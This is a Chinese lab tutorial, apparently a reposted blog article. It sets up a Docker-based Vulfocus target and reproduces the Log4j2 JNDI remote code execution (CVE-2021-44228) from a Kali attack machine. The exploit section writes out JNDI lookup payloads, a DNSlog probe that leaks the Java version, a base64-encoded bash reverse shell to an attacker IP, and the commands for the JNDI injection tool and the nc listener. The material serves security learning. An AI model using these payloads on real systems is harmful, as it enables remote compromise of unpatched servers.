KALI搭建log4j2靶场及漏洞复现全流程

这里使用了两台KALI虚拟机,一台用于安装靶场环境,一台用于攻击

一、Docker的安装(靶机)

1、Linux内核版本查看

#安装docker要求内核版本kerner>=3.10
#为此,先检查当前Linux系统的内核版本
uname -a

2、Linux apt源换源教程

#进入sources.lis重新编辑apt源
vim /etc/apt/sources.list
#直接CV大法写入下面的apt源
#其他apt源
#此处仅添加中科达和阿里的,其他注释掉#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib#清华大学
#deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free#浙大
#deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free#东软大学
#deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contribp.kali.org/kali kali-rolling main non-free contrib#重庆大学
#deb http://http.kali.org/kali kali-rolling main non-free contrib
#deb-src http://http.kali.org/kali kali-rolling main non-free contrib

3、进行系统或工具的更新

#进行系统和工具的更新(比较久,去隔壁玩两把游戏)
#注:当出现正在设定软件包界面时,直接按tab+enter进行确认
apt-get update && apt-get upgrade && apt-get dist-upgrade#清除更新缓存
apt-get clean

4、采用apt安装Docker

#这里采用apt安装,因为之后采用apt源安装Docker的其他组件时,新组件与已安装的Docker容器最为匹配。
apt-get install docker docker-compose#或
apt-get install docker.io

5、检验Docker成功安装

#启动docker服务
service docker start
#列出docker现有镜像
docker images
#运行hello-world镜像
#但apt安装的docker没带有hello-world默认镜像呀,所以下面的命令不成功,它会帮你拉去该镜像下来
docker run hello-world
由于各种网络政策,在国内访问DockerHub速度会非常缓慢,大家一般都会采取更换镜像源的方式来进行加速。

运行时会报错,需要配置docker镜像加速

6、Docker换源教程

2024.6之后,由于政策的加强,大部分常见的镜像源已经无法使用,如下图:

截止2025.4.16,下列镜像源均可用。(基于能否成功拉取hello-world进行测试)

DockerHub可用镜像源汇总

http://docker.m.daocloud.io

http://docker.imgdb.de

docker-0.unsee.tech

http://docker.hlmirror.com

docker.1ms.run

func.ink

http://lispy.org

http://docker.xiaogenban1993.com

换源方法1-临时换源

格式如下:(不要加上前缀https://

sudo docker pull+镜像源地址+/+要拉取的镜像名

例如:

镜像源为“docker.m.daocloud.io”,要拉取的镜像名为“hello-world”,

sudo docker pull docker.m.daocloud.io/hello-world

成功拉取,如下图:

注意:此方法每次拉取镜像时都需要指定相应的镜像源

换源方法2-永久换源(推荐)

核心思想:修改docker的配置文件 daemon.json,将镜像源地址写入其中。

以ubuntu22.04为例,其余操作系统同理

1、创建目录(如果已经有该目录,则忽略此步骤)

sudo mkdir -p /etc/docker

知识点补充:添加“-p”,执行此命令会先检查目录是否存在。若不存在,则创建相应目录;否则,不执行任何操作。因此不管是否有该目录,直接执行此命令都没问题,不会报错

2、向配置文件写入镜像源

格式如下:(需要加上前缀https://

{"registry-mirrors": ["镜像源1","镜像源2"]
}

例如,根据2025.4.16最新测试的可用镜像源,我在此给出命令行文本编辑器两种操作方法。

下列两种方法均可直接使用,不会报错。

1. 方法一:直接命令行输入

直接将下列文本粘贴到终端中,然后回车运行即可。

sudo tee /etc/docker/daemon.json <<-'EOF'
{"registry-mirrors": ["https://docker-0.unsee.tech","https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}
EOF

知识点补充:<<-'EOF' 告诉 shell 接下来的所有内容会被传递到命令 tee,直到遇到标记 EOF 为止,用于将多行内容作为输入传递给命令。所以不需要担心输入一行之后系统就开始执行命令。 此外,若daemon.json文件不存在,直接使用tee命令不会报错,而是会创建名为daemon.json的文件。

2. 方法二:通过文本编辑器打开daemon.json,然后粘贴

首先打开配置文件:

sudo nano /etc/docker/daemon.json

然后直接粘贴下列内容:

{"registry-mirrors": ["https://docker.m.daocloud.io","https://docker.imgdb.de","https://docker-0.unsee.tech","https://docker.hlmirror.com","https://docker.1ms.run","https://func.ink","https://lispy.org","https://docker.xiaogenban1993.com"]
}

知识点补充:若daemon.json文件不存在,直接使用nano命令不会报错,而是会创建名为daemon.json的文件。

1、重启docker服务

sudo systemctl daemon-reload && sudo systemctl restart docker

    2、验证

    sudo docker pull hello-world

    出现下图,即为成功!

    安装vulfocus镜像

    docker pull vulfocus/vulfocus:latest

    二、搭建Vulfocus靶场并配置vulfocus漏洞环境(靶机)

    1、安装vulfocus镜像

    docker pull vulfocus/vulfocus:latest

    2、运行vulfocus

    docker create -p 8888:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=172.17.0.1 vulfocus/vulfocus
    各个参数的简单解释:
    -p :前边的端口代表物理机的端口,后边的端口是docker的端口
    -v :/var/run/docker.sock:/var/run/docker.sock为docker交互连接。
    -e:
    VUL_IP=172.17.0.1 为Docker服务器 IP,不能为 127.0.0.1。
    vulfocus/vulfocus是上面的仓库镜像名,也可以用镜像ID。

    可以用ifconfig命令来确认当前的docker服务器ip:

    接着用这个命令来查看当前docker的所有服务,可以看到我们刚刚起的服务:

    docker ps -a

    运行vulfocus容器:

    docker start 6cbc5770a44e 

    状态为up,代表成功启动。
    由本地的8888端口映射到docker的80端口
    最后访问在主机访问虚拟机IP的8888端口即可:

    默认账号密码admin/admin

    初始账号密码登进来以后,空空的,需要自己添加漏洞环境进来。

    3、添加镜像

    点击镜像管理模块,直接一键同步,就是官方的所有漏洞环境,反正点这个就好了:

    同步之后,刷新页面,就可以看到漏洞环境了,挑选自己喜欢的一个一个下载就好,我这里下载了log4j2环境
    也可以点击添加,直接一键导入,这个就很久了,最好在WiFi环境下下载吧,流量多的大佬另当别论哈

    启动后会生成一个端口号

    在虚拟机IP后加上端口就可以打开靶机了

    三、KALI中maven 的安装与配置(攻击机)

    1、在另一台kali上下载 maven 安装包(作为攻击机)

    wget https://dlcdn.apache.org/maven/maven-3/3.9.4/binaries/apache-maven-3.9.4-bin.tar.gz

    2、解压 apache-maven-3.9.4-bin.tar.gz

    tar -zxvf apache-maven-3.9.4-bin.tar.gz

    找到文件解压到的位置,由于解压时我们没有指定路径,因此默认解压到当前路径下

    可以看到路径为:/root/apache-maven-3.9.4

    (看你自己把文件压缩包下载到哪里,在哪里进行解压的)

    3、修改配置文件 /etc/profile

    vim /etc/profile

    在配置文件中加上:

    export MAVEN_HOME=/root/apache-maven-3.9.4 # 你自己文件解压后所在的位置
    export PATH=$MAVEN_HOME/bin:$PATH

    4、wq保存退出后,刷新配置文件,以确保修改生效

    source /etc/profile

    5、检测是否安装成功,查看 maven 版本

    mvn -version

    6、这里存在一个问题,当我们重启一个终端时,发现 mvn 命令依旧无法识别

    使用命令

    sudo apt-get install maven

    重启客户机

    四、Log4j2远程命令执行(CVE-2021-44228)漏洞复现(攻击机)

    1、启动环境

    点击问号跳转


    发现url会出现变化

    schema 是查找jndi对象的方式,jdk中支持 corbname, dns, iiop, iiopname, ldap, ldaps, rmi几种schema。

    漏洞利用语句如下(替换 schema://url):

    ${jndi:schema://url}

    验证是否存在Log4j2远程代码执行,首先在DNSlog获取一个域名。

    DNSLog PlatformDNSLog平台http://dnslog.cn/

    输入下面的内容,注意替换你自己获得的域名

    ${jndi:ldap://${sys:java.version}.eee2rj.dnslog.cn}

    这里注意,进行url编码

    Java程序解析这个表达式时,会将 ${sys:java.version} 替换为当前 JVM 的实际版本号,这样你在DNSlog就能看到相关信息

    2、JNDI 注入工具安装

    首先安装 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

    git clone https://github.com/welk1n/JNDI-Injection-Exploit.git

    切换到 JNDI-Injection-Exploit 目录

    cd JNDI-Injection-Exploit

    编译安装,在该目录下执行如下命令

    mvn clean package -DskipTests

    编译安装完成后,我们会得到一个 jar 文件

    位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

    在运行结果的最后是这样:

    切换进入到 target 目录:

    cd target

    3、工具用法

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip"

    4、服务站点部署

    反弹 shell 到目标主机端口,大家注意改成自己的IP和端口,这里以 7777 端口为例

    bash -i >& /dev/tcp/192.168.217.134/7777 0>&1

    对命令进行 base64 编码 (命令必须经过编码,不然无法实现)

    Runtime.exec Payload Generater | AresX's Blog (ares-x.com)

    Runtime.exec Payload Generater | AresX's BlogThere is no descriptionhttps://ares-x.com/tools/runtime-exec

    得到

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}

    将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip

    利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上

    在 target 目录下,执行如下命令:

    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjIxNy4xMzQvNzc3NyAwPiYx}|{base64,-d}|{bash,-i}" -A "192.168.217.134"

    4、开启端口监听

    再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777)

    nc -lvvp 7777

    5、反弹shell

    使用上述给出的 payload 路径构造完整 payload

    比如:

    ${jndi:rmi://192.168.217.134:1099/lzdfyj}
    ${jndi:ldap://192.168.217.134:1389/qtbchd}

    我们可以针对不同版本和不同情况使用不同的服务和不同的 payload

    url编码

    成功反弹shell

    本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/79173.shtml

    如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

    相关文章

    学习笔记—C++—模板初阶

    目录 模板初阶 泛型编程 函数模板 模版概念 函数模版格式 模版的原理 函数模板的实例化 模版参数的匹配规则 类模板 模板初阶 泛型编程 使用函数重载虽然可以实现&#xff0c;但是有一下几个不好的地方&#xff1a; 1. 重载的函数仅仅是类型不同&#xff0c;代码复…

    Docker 中多个容器之间的通信

    在 Docker 中&#xff0c;多个容器之间的通信可以通过以下几种主要方式实现&#xff0c;具体选择取决于网络需求、隔离性及管理复杂度&#xff1a; 一、自定义 Bridge 网络&#xff08;推荐&#xff09; 通过创建自定义的 Docker 网络&#xff0c;容器可以加入同一网络并通过容…

    Day1-初次接触UFS

    经过导师初次介绍&#xff0c;了解工作以芯片测试为主&#xff0c;需坚持学习&#xff0c;小白大致需3-6月入门。整体学习应分为3大块&#xff0c;UFS协议占40%&#xff08;3-4h&#xff09;,C技能占40%&#xff08;3-4h&#xff09;,工具或业务占20%&#xff08;1-2h&#xff…

    【LeetCode 热题100】二叉树构造题精讲:前序 + 中序建树 有序数组构造 BST(力扣105 / 108)(Go语言版)

    &#x1f331; 二叉树构造题精讲&#xff1a;前序 中序建树 & 有序数组构造 BST 本文围绕二叉树的两类构造类题目展开解析&#xff1a; 从前序与中序遍历序列构造二叉树 将有序数组转换为二叉搜索树 我们将从「已知遍历构造树」和「平衡构造 BST」两个角度&#xff0c;拆…

    JMeter重要的是什么

    重要特性 支持多种协议&#xff1a; JMeter支持对多种协议进行性能测试&#xff0c;包括HTTP、HTTPS、FTP、JDBC&#xff08;数据库&#xff09;、LDAP、JMS、SOAP、REST等。这使得它能够适应各种不同的测试场景。强大的负载模拟能力&#xff1a; JMeter能够模拟大量的虚拟用户…

    一文读懂WPF系列之MVVM

    WPF MVVM 什么是MVVMWPF为何使用MVVM机制WPFMVVM 的实现手段 INotifyPropertyChanged​数据绑定的源端通知​​原理 PropertyChanged事件双向绑定的完整条件常见疑惑问题 什么是MVVM 翻译全称就是 model-view-viewmodel 3部分内容 以wpf的概念角度来解释就是 数据库数据源模型…

    OCR API识别对比

    OCR 识别DEMO OCR识别 demo 文档由来 最开始想使用百度开源的 paddlepaddle大模型 研究了几天&#xff0c;发现表格识别会跨行&#xff0c;手写识别的也不很准确。最终还是得使用现成提供的api。。 文档说明 三个体验下来 腾讯的识别度比较高&#xff0c;不论是手写还是识别表…

    嵌入式MCU常用模块

    日后填坑。 无线通信模块 2.4G 基本介绍 以NRF24L01为例。 NRF24L01是一款2.4GHz的无线收发模块&#xff0c;支持SPI通信协议&#xff0c;具有低功耗、高数据速率&#xff08;250kbps-2Mbps&#xff09;和多设备通信能力。 它可以同时与最多6个其他模块通信&#xff0c;适合…

    记一次InternVL3- 2B 8B的部署测验日志

    测试效果&#xff1a; 问题和耗时如图 5、资源占用 不释放资源会一直涨显存。总体还算满意&#xff0c;我试了好多个图理解大模型&#xff0c;就属它牛一点 附图一张 补充&#xff0c;测试InternVL3-2B的结果 1、模型下载魔搭社区 2、运行环境&#xff1a; 1、硬件 RTX 30…

    Java版本对应关系表

    Java版本对应关系表 以下Java主要版本&#xff08;Major Version&#xff09;与公开大版本号的对应关系 公开大版本名称Major 版本号内部版本号格式示例&#xff08;java -version输出&#xff09;Java 8 (1.8)52 (0x34)1.8.0_XXX1.8.0_301Java 953 (0x35)9.0.X9.0.4Java 105…

    2025最新版flink2.0.0安装教程(保姆级)

    Flink支持多种安装模式。 local&#xff08;本地&#xff09;——本地模式 standalone——独立模式&#xff0c;Flink自带集群&#xff0c;开发测试环境使用 standaloneHA—独立集群高可用模式&#xff0c;Flink自带集群&#xff0c;开发测试环境使用 yarn——计算资源统一…

    android11 配置默认电池优化白名单

    目录 1.介绍 2.读取配置文件 3.默认配置一个白名单列表 1.介绍 在 Android 11 中,DeviceIdleController 是负责控制设备进入 Doze 模式(闲置模式) 的核心系统服务,其内部方法 readConfigFileLocked() 负责从配置文件中读取 Doze 模式的行为参数,包括 idle 阶段的时间间…

    java中的Future的设计模式 手写一个简易的Future

    案例 例如&#xff1a;今天是小妹的生日&#xff0c;需要一个蛋糕有点仪式感&#xff0c;于是去蛋糕店预定&#xff0c;预定完之后&#xff0c;店老板说蛋糕做好了&#xff0c;到时电话通知你&#xff0c;不可能在这傻傻的等着吧&#xff0c;还有其他事情要做啊&#xff0c;于…

    【Redis】Redis C++使用

    一、Redis的自定义网络协议 1.1 为什么可以编写出一个自定义的Redis客户端 为什么我们可以编写出一个自定义的Redis客户端&#xff1f;因为Redis公开了自己的自定义协议。而对于一些其他软件的客户端&#xff0c;我们无法编写出一个自定义的Redis客户端&#xff0c;因为他们没…

    【软考系统架构设计师】软件工程知识点

    1、 软件开发生命周期 软件定义时期&#xff1a;包括可行性研究和详细需求分析过程&#xff0c;任务是确定软件开发工程必须完成的总目标&#xff0c;具体分为问题定义、可行性研究、需求分析等 软件开发时期&#xff1a;软件的设计与实现&#xff0c;分为概要设计、详细设计、…

    DeepSeek 与开源:肥沃土壤孕育 AI 硕果

    当国产 AI DeepSeek 以其低成本推理和多模态能力在全球范围内引起轰动时&#xff0c;人们惊叹于中国技术的迅猛发展&#xff0c;却很少有人深究这一成就背后的根基。答案其实早已写在中国开源生态二十多年的发展历程中。 从倪光南院士提出“以开源打破技术垄断”的理念&#x…

    职坐标:智慧城市未来发展的核心驱动力

    内容概要 智慧城市的演进正以颠覆性创新重构人类生存空间&#xff0c;其发展脉络由物联网、人工智能与云计算三大技术支柱交织而成。这些技术不仅推动城市治理从经验决策转向数据驱动模式&#xff0c;更通过实时感知与智能分析&#xff0c;实现交通、能源等领域的精准调控。以…

    vue复习46~90

    1.小兔鲜 所有都折叠 ctrl k,ctrl0 所有都展开 ctrl k,ctrlj当前结构渲染5次 <BaseBrandItem v-for"item in 5" :key"item"><BaseBrandItem>2.scoped样式冲突 结构&#xff1a;只能有一个根元素样式&#xff1a;全局样式(默认)&#xff1…

    PHP 用 workman 即时通讯,做个简版QQ

    1. workman是什么 &#xff0c;一般应用在那些地方 workerman是一个高性能的PHP socket 服务器框架&#xff0c;workerman基于PHP多进程以及libevent事件轮询库&#xff0c;PHP开发者只要实现一两个接口&#xff0c;便可以开发出自己的网络应用&#xff0c;例如Rpc服务、聊天室…

    【WORD】批量将doc转为docx

    具体步骤进行&#xff1a; 打开Word文档&#xff0c;按下AltF11快捷键&#xff0c;打开VBA编辑器。在VBA编辑器中&#xff0c;左侧的“项目资源管理器”窗口会显示当前打开的Word文档相关项目。找到您要添加代码的文档项目&#xff08;通常以文档名称命名&#xff09;&#xf…